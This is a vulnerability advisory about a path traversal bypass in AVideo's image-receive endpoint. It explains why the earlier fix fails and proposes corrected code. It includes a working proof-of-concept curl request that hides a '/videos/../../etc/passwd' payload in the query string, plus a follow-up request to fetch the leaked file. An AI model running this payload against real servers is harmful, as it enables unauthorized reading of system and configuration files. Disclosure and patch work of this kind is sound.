
Cloud Vulnerability DB
A community-led vulnerabilities database
The directory traversal fix introduced in commit 2375eb5e0 for objects/aVideoEncoderReceiveImage.json.php only checks the URL path component (via parse_url($url, PHP_URL_PATH)) for .. sequences. However, the downstream function try_get_contents_from_local() in objects/functionsFile.php uses explode('/videos/', $url) on the full URL string including the query string. An attacker can place the /videos/../../ traversal payload in the query string to bypass the security check and read arbitrary files from the server filesystem.
The security fix at commit 2375eb5e0 added a traversal check at objects/aVideoEncoderReceiveImage.json.php:49:
$decodedPath = urldecode((string)(parse_url($_REQUEST[$value], PHP_URL_PATH) ?? ''));
if (strpos($decodedPath, '..') !== false) {
unset($_REQUEST[$value]);
}This only inspects the path component of the URL. For a URL like http://TARGET/x?a=/videos/../../etc/passwd, parse_url() returns /x as the path — no .. is found.
The URL then passes through isValidURL() (objects/functions.php:4203) which accepts it because FILTER_VALIDATE_URL considers .. in query strings valid per RFC 3986.
It also passes isSSRFSafeURL() (objects/functions.php:4264) because the host matches webSiteRootURL, causing an early return at line 4294.
The URL reaches url_get_contents() (objects/functions.php:1938) which calls try_get_contents_from_local() (objects/functionsFile.php:214):
function try_get_contents_from_local($url)
{
// ...
$parts = explode('/videos/', $url);
if (!empty($parts[1])) {
// ...
$tryFile = "{$global['systemRootPath']}{$encoder}videos/{$parts[1]}";
if (file_exists($tryFile)) {
return file_get_contents($tryFile);
}
}
return false;
}explode('/videos/', $url) operates on the entire URL string including the query string. For the malicious URL, $parts[1] becomes ../../../../../../etc/passwd, constructing a path like /var/www/html/AVideo/Encoder/videos/../../../../../../etc/passwd which PHP's filesystem functions resolve to /etc/passwd.
The file content is returned to the caller and written to the video's thumbnail path via _file_put_contents(). All four downloadURL_* parameters (downloadURL_image, downloadURL_gifimage, downloadURL_webpimage, downloadURL_spectrumimage) are affected.
Prerequisites: An authenticated AVideo user account with upload permission and an existing video they own (with known videos_id).
https://avideo.example.com).curl -s -b "PHPSESSID=<session_cookie>" \
"https://avideo.example.com/objects/aVideoEncoderReceiveImage.json.php" \
-d "videos_id=<YOUR_VIDEO_ID>" \
-d "downloadURL_image=http://avideo.example.com/x?a=/videos/../../../../../../etc/passwd"jpgDestSize indicating the file was read and written (confirming file existence and revealing file size).curl -s "https://avideo.example.com/videos/<videoFileName>.jpg"/etc/passwd, configuration files) are written but then deleted by deleteInvalidImage(). However, file existence and size are still leaked, and a race condition exists between the write and the deletion.jpgDestSize response field.videos/configuration.php), and other sensitive data can be targeted. While PHP files would be deleted by deleteInvalidImage, there is a race window between write and deletion.The .. check in aVideoEncoderReceiveImage.json.php should inspect the full URL (after URL-decoding), not just the path component. Additionally, try_get_contents_from_local() should validate its derived path.
Fix 1 — Check the full URL in ReceiveImage (objects/aVideoEncoderReceiveImage.json.php:49):
// Replace:
$decodedPath = urldecode((string)(parse_url($_REQUEST[$value], PHP_URL_PATH) ?? ''));
if (strpos($decodedPath, '..') !== false) {
// With:
$decodedFull = urldecode((string)$_REQUEST[$value]);
if (strpos($decodedFull, '..') !== false) {Fix 2 — Add path validation in try_get_contents_from_local (objects/functionsFile.php:229):
$tryFile = "{$global['systemRootPath']}{$encoder}videos/{$parts[1]}";
// Add traversal check:
$realTryFile = realpath($tryFile);
$videosDir = realpath("{$global['systemRootPath']}{$encoder}videos/");
if ($realTryFile === false || !str_starts_with($realTryFile, $videosDir)) {
return false;
}
if (file_exists($tryFile)) {
return file_get_contents($tryFile);
}Source: NVD
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."